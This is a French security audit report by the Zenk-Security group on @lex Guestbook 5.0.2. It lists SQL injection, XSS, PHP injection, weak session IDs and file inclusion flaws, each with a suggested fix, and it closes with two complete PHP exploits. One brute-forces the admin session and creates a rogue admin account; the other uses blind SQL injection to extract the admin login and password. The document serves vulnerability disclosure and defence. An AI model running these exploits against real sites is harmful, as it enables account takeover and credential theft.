Sommaire

1 Qui sommes nous ?

La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des touches à tout, des fouineurs, nous expérimentons à tout va et nous partageons sans autre restriction que le respect.

Notre site répertorie nos tutos, articles informatifs et autres textes techniques ou non, c'est le côté partage de notre communauté.
Pourtant, et vous vous en rendrez vite compte, nous cultivons la discrétion et la qualité, le principal contenu de notre forum n'est accessible qu'aux membres de notre communauté.

La raison est simple : certains savoirs ne sont pas à placer entre toutes les mains.

Quid des acharnés d'une utopie du partage alors?

Notre position est ambiguë nous devons l'admettre, nous prônons le partage des connaissances sans restriction, c'est la pierre angulaire de la communauté, mais nous ne sommes pas aveugles au point de penser que tous ont l'intelligence ou la maturité nécessaire à l'utilisation judicieuse d'un savoir qui par définition est neutre.
Fort du constat que la connotation du savoir dépend avant tout de la moralité et de la franchise envers lui même de l'utilisateur, nous préférons réserver ce savoir pour ceux qui sont aptes à l'utiliser pour le bien commun.

Arbitraire, certes, mais avez vous mieux à proposer?

Le savoir est une arme autant que les mots ou l'acier et nous ne sommes pas une armurerie.

La communauté n'est pas considérée par ses membres comme un énième lieu de leech à tout va, nous partageons réellement et notre credo, notre dogme, c'est d'apporter ce que nous pouvons, dans la mesure de nos moyens et de nous élever grâce aux contributions des autres membres.

Du partage naît l'apprentissage et de l'apprentissage naît le partage, nous ne cherchons pas à savoir qui de l'un a engendré l'autre en premier, nous nous contentons d'entretenir la boucle ainsi formée et

de progresser en nous aidant les uns les autres, simplement.

2 Nos audits de sécurité

Au sein de la communauté nous utilisons le nom de Zenk Roulette, le principe est simple nous choisissons une application open source que nous installons sur nos serveurs, à partir de là nous commençons un audit de sécurité sur l'application choisie.
Cet audit est fait exclusivement pour le fun, c'est un plaisir avant tout et il reste entièrement privé.
Les audits sont fait par des professionnelles et des passionnés du monde de la sécurité informatique.
Suite à cet audit nous fournissons un rapport aux "propriétaires" de l'application lui fournissant quelques conseils, ensuite nous attendons sa réponse par mail et l'application de correctif sous une période correcte avant de rendre publique notre rapport.
Généralement si au bout d'un mois nous n'avons pas de réponse des propriétaires nous rendons publique le rapport, dans le cas contraire nous nous arrangeons avec les propriétaires pour le rendre publique une fois les vulnérabilités corrigées.
Bien sur nous restons disponible pour toute question.

3 Notre choix

Application auditée : @lex Guestbook 5.0.2
URL : http://www.alexguestbook.net
Date : Samedi 6 Août 2011

4 Les participants

BuRner

Essandre

Ganapati

Sanguinarius

Sebdraven

5 Compte rendu de l'audit

Path du fichier : /modif_mess.php

Type de Faille : Injection de code SQL

Ligne : 68

```
    sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess']);
```

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.

Path du fichier : /repondre.php

Type de Faille : Injection de code SQL

Ligne : 62

```
    sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess'],
"", "", true);
```

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.

Path du fichier : /index.php

Type de Faille : Injection de code SQL

Ligne : 102

```
sql_select_query("*", "alex_livre_messages", $where, "ORDER BY time DESC",
"LIMIT ".
$_GET['debut'].",".$config['nb_pages'], true);
```

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['debut'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.

Path du fichier : /boiteJava/index.php

Type de Faille : Simple bug

Ligne : 14

```
if (!isset($_GET['n']) || !(int)trim($_GET['n']))
 $_GET['n'] = 5;
else
 $_GET['n'] = (int)trim($_GET['n']);
```

Correctif :

Le script ne vérifie pas le type de la variable, ce qui implique qu'il réagit mal si l'on lui passe en paramètre un float ou une valeur négative.

Path du fichier : /setup.php

Type de Faille : Injection de Code PHP

Ligne : 89-97

```
$write_object2 -> save_donnees("\$f_mysql_host = '".$_POST['host']."';");
    $write_object2 -> save_donnees("\$f_mysql_user = '".$_POST['user']."';");
    $write_object2 -> save_donnees("\$f_mysql_pass = '".$_POST['pass']."';");
    $write_object2 -> save_donnees("\$f_mysql_base = '".
$_POST['nom_base']."';\n"); ....
```

Correctif :

Les variables n'étant pas filtrées et le fichier setup.php pas supprimé automatiquement, il devient possible d'écrire du code PHP exécutable.

Path du fichier : /add_message.php

Type de Faille : Mail injection

Ligne : 198

```
    envoyer_mail($alex_livre_users_email[$i], $f_lang['mail_object'].
$_SERVER["SERVER_NAME"], $f_lang['mail_message'].'http://'.
$_SERVER['HTTP_HOST'].dirname($config['fichier_inclusion'])."
:\r\n\r\n-----------------------------------------\r\n".trim($chaine_message).
"\r\n---------------------------
---------------\r\n\r\nPowered by @lex Guestbook ".$alex_livre_version." -
http://www.alexguestbook.net/", $entetemail);
```

Correctif :

La variable $_SERVER['HTTP_HOST'] n'est pas filtrée, il devient donc possible d'injecter du code html.

Path du fichier : /admin/titre.php

Type de Faille : Injection de code javascript

Ligne : 39

```
        if (!$nbTest){
        $query = "INSERT INTO ".$name_table['alex_livre_txt_lang']." (`lang`,
`type`, `msg`)
VALUES ('".$_GET['lang_edit']."', 'titre', '".$_POST['titre']."')";
        $result = $f_db_connexion -> sql_query($query);
    }
    else {
        $query = "UPDATE ".$name_table['alex_livre_txt_lang']." SET `msg`='".
$_POST['titre']."'
WHERE `lang`='".$_GET['lang_edit']."' and `type`='titre'";
        $result = $f_db_connexion -> sql_query($query);
    }
```

Correctif :

La variable $_POST['titre'] n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.

Path du fichier : /include/funct_utiles.php

Type de Faille : Faiblesse sur la génération du sid

Ligne : 11

```
    function alex_livre_sid(){
    mt_srand((double)microtime()*1000000);
    return md5(mt_rand(0,9999999));
    }
```

Correctif :

La génération du SID est relativement faible, en effet il devient possible de récupérer le SID administrateur en quelques secondes, puisqu'il ne s'agit que du MD5 d'une valeur numérique ne pouvant pas dépasser 9999999.

Path du fichier : /index.php

Type de Faille : Fuite d'information

Ligne : 85

```
    $_GET['mots_search'] =
stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));
```

Correctif :

Aucune vérification sur le type de donnée est effectué sur la variable $_GET['mots_search'], il est possible à partir de là, de faire planter le script en lui faisant passer un array en paramètre comme ceci:

```
index.php?mots_search[]=
```

Il est donc nécessaire de vérifier que ce n'est pas un array avec la fonction is_array, avant de le passer en paramètre à des fonctions qui ne traitent pas ce type de donnée.

Path du fichier : /admin/titre.php et /admin/rep_auto.php

Type de Faille : Inclusion de fichier

Ligne : 18

```
    include($chem_absolu."config/extension.inc");
    include($chem_absolu."include/admin_include.".$alex_livre_ext);
```

Correctif :

Il est possible de contourner la fonction file_exists en prenant partie d'un nullbyte, ce qui peut permettre d'inclure d'autre fichier présent sur le serveur. Il devient donc possible à partir du service d'upload d'avatar d'exécuter du code php en incluant une de ces images spécialement forgé à cet effet.

Path du fichier : /boiteJava/index.php

Type de Faille : Injection de code javascript

Ligne : 60

```
else
    $value_url_livre = findHost().$url_recharger;
```

Correctif :

La variable $url_recharger n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.

Path du fichier : /index.php

Type de Faille : Deni de service

Ligne : 84

```
if (isset($_GET['mots_search']) && $_GET['mots_search'] &&
$config['ok_aff_moteur']){
    $_GET['mots_search'] =
stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));
    $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search'])));
    $tab_mots_cles = explode(" ", $mots_nettoyes);
    /* création de la requète WHERE */
    if ($mots_nettoyes)
        $nb_mots_cles = count($tab_mots_cles);
        $where .= " and (";
    for ($i = 0; $i < $nb_mots_cles; $i++){
        $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%".
$tab_mots_cles[$i]."%'";
        if (($i + 1) < $nb_mots_cles)
            $where .= " OR ";
    }
    if ($mots_nettoyes)
        $where .= ")";
```

Correctif :

De plus de la fuite d'information au niveau de la variable $_GET['mots_search'] comme nous l'avons vu juste au-dessus, il y a le problème que si l'on déclare cette variable en tant que array depuis l'url, la variable $nb_mots_cles n'est plus déclarée puisque $mots_nettoyes vaut false, la condition n'est donc pas confirmée. A ce moment là, si l'option register_globale est activé, il devient possible d'agir sur l'alias de la variable $nb_mots_cles depuis une super-globale et donc de lui attribuer un nombre de très grande taille, ce qui aura pour effet de réaliser une boucle immense, demandant des resources considérables autant pour le serveur SQL qui devra exécuter la requete SQL juste après, que le moteur de PHP.

```
  **La boucle en question:**


    for ($i = 0; $i < $nb_mots_cles; $i++){
        $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%".
$tab_mots_cles[$i]."%'";
        if (($i + 1) < $nb_mots_cles)
            $where .= " OR ";
    }
```

Path du fichier : /index.php

Type de Faille : Injection de code SQL

Ligne : 85

```
    $_GET['mots_search'] =
stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));
    $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search'])));
    $tab_mots_cles = explode(" ", $mots_nettoyes);
```

Correctif :

Dans l'ensemble de l'application la totalité des variable $_GET et $_POST sont filtrées de tel sorte à qu'il ne soit pas possible de réaliser une injection de code SQL dans le cas ou la variable serait entouré par des apostrophe dans la requête SQL. Dans notre cas, la variable $_GET['mots_search'] est bien filtrée au début du code, mais comme nous pouvons le constater, les slashes qui ont permis de filtrer la variable en echappement certains carractère indésirables, ont été rétirés à cause de l'utilisation de la fonction stripslashes(). Il devient donc possible de sortir des apostrophes et de réaliser notre injection SQL depuis la variable $_GET['mots_search'].

Path du fichier : /index.php

Type de Faille : Injection de code javascript

Ligne : 193

```
     $urlExtAdd =
"&amp;mots_search=".urlencode(@$_GET['mots_search'])."&amp;lang=".@$config['lang
ue']."&a
mp;skin=".@$_GET['skin']."&amp;seeAdd=".@$_GET['seeAdd']."&amp;seeNotes=".@$_GET
['se
eNotes']."&amp;seeMess=".@$_GET['seeMess']."&amp;".$config['extension_url'];
```

Correctif :

Les variables $_GET['seeAdd'], $_GET['seeNotes'] et $_GET['seeMess'] ne sont pas filtrés et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer ces variables avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.

6 Les exploits

6.1 Session stealing

```
/*
 ============================================================
 Alex GuestBook Session  stealing
 ============================================================

 # Exploit Title: Session stealing + administrator account creation
 # Date: 07/08/2011
 # Author: Zenk-Security
 # Software Link: http://www.alexguestbook.net/
 # Version: 5.0.2
 # Category: webapplications
 # Thanks to all contributors : Burner, EsSandre, Ganapati, Sanguinarius and
Sebraven.
 */

 set_time_limit(0);

 // new admin account
 define('USER', 'new_account');
 define('PASS', 'password');
 define('MAIL', 'fake@mail.fr');
 // Information of the web application
 define('URL', 'http://localhost/');
 define('PATH_APPLICATION', 'agb/');

 $url = URL.'/'.PATH_APPLICATION;

 // Bruteforce session admin
 print "[*] Bruteforce de l'ID de session admin \n";

 for ($i = 0; $i < 9999999; $i++)
 {
     $hash_sid = md5($i);
     $file = file_get_contents($url.'admin/options.php?f_sid='.$hash_sid);
     if (strstr($file, 'Options du livre d\'or')) {
         break;
     }
 }

 // Configure the query
 print "Session ID : ".$hash_sid."\n";
 $infos = array('name_admin' => USER,
                'passe_admin' => PASS,
                'email_admin' => MAIL,
```

```
                    'receive_email' => '1',
                    'modif_options' => '1',
                    'gestion_skins' => '1',
                    'gestion_reponse_auto' => '1',
                    'gestion_bdd' => '1',
                    'gestion_messages' => '1',
                    'gestion_censure' => '1',
                    'gestion_bannissement' => '1',
                    'gestion_smileys' => '1',
                    'gestion_admin' => '1',
                    'ajouter' => 'Ajouter'
                   );

    // create header
    $context = stream_context_create (array(
        'http' => array(
        'method'  => 'POST',
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'content' => http_build_query($infos)
    )));

    // Send request with cracked session id
    $file = file_get_contents($url.'admin/add_admin.php?f_sid='.
$hash_sid.'&id_modif=', false,
$context);

    if (strstr($file, 'alert("ERREUR\nCe login existe'))
        die( "Erreur : Cet utilisateur est déjà existant\n");
    else if (strstr($file, 'alert("Merci'))
        exit ("Votre compte à été crée correctement.\n");
    else
        exit ("Une erreur est survenue pendant l'ajout du compte
administrateur\n");
?>
```

6.2 Blind SQL Injection

```
<?php

    /*
    ============================================================
    Alex GuestBook Blind SQL Injection
    ============================================================

    # Exploit Title: Blind SQL Injection
    # Date: 07/08/2011
    # Author: Zenk-Security
    # Software Link: http://www.alexguestbook.net/
    # Version: 5.0.2
    # Category: webapplications
    # Thanks to all contributors : Burner, EsSandre, Ganapati, Sanguinarius and
Sebraven.
    */
```

```
    set_time_limit(0);

    // Informations
    $url = 'http://localhost/';
    $user_id = '1';
    $char_list = 'abcdefghijklmnopqrstuvwxyz1234567890';
    $max = 30;
    /*********************************************************/
    for ($j=0; $j<2; $j++) {
        $field = (!$j) ? "login" : "pass";
        $len_list = strlen($char_list);
        $begin = '';
        $len_password = 0;

        // bf password length

        for ($i=0; $i<$max; $i++) {
            $injection = urlencode("aAaA%')or(select(length(".
$field."))from`alex_livre_users`where`id_user`=1)=".$i."#");
            $file = file_get_contents($url.'index.php?mots_search='.$injection);
            if ($file === false)
                exit('Erreur lors de la récupération de la page.');

            if (!strstr($file, 'Aucun message')) {
                $len_password = $i;
                break;
            }
        }
        print "Longueur du ".$field." : ".$len_password."\n";

        print $field." : ";

        for($i=0; $i<$len_password; $i++) {
            for ($c = 0; $c < $len_list; $c++) {
                $current = $char_list[$c];
                $injection = urlencode("aAaA%')or(select`".$field."`like'".
$begin.
$current."%'from`alex_livre_users`where`id_user`=".$user_id.")#");
                $file = file_get_contents($url.'index.php?mots_search='.
$injection);

                if ($file === false)
                    exit('Erreur lors de la récupération de la page.');

                if (!strstr($file, 'Aucun message')) {
                    $begin .= $current;
                    echo $current;
                    break;
                }
            }
        }
        echo "\n";
    }

    exit();
?>
```

7 Derniers conseils

- Désactiver les register_globale, qui mettent l'application en premier plan pour les problèmes de sécurité.
- Les mots de passe sont en clair, il est conseillé d'utiliser un système de hash fort (SHA512 + Salt ?)
- Depuis la version 5.3.0 de PHP, les fonctions basées sur eregi sont déconseillés d'utilisation dut à leur problème de sécurité majeur. Il est aujourd'hui recommandé d'utiliser ses équivalents basés sur preg_match.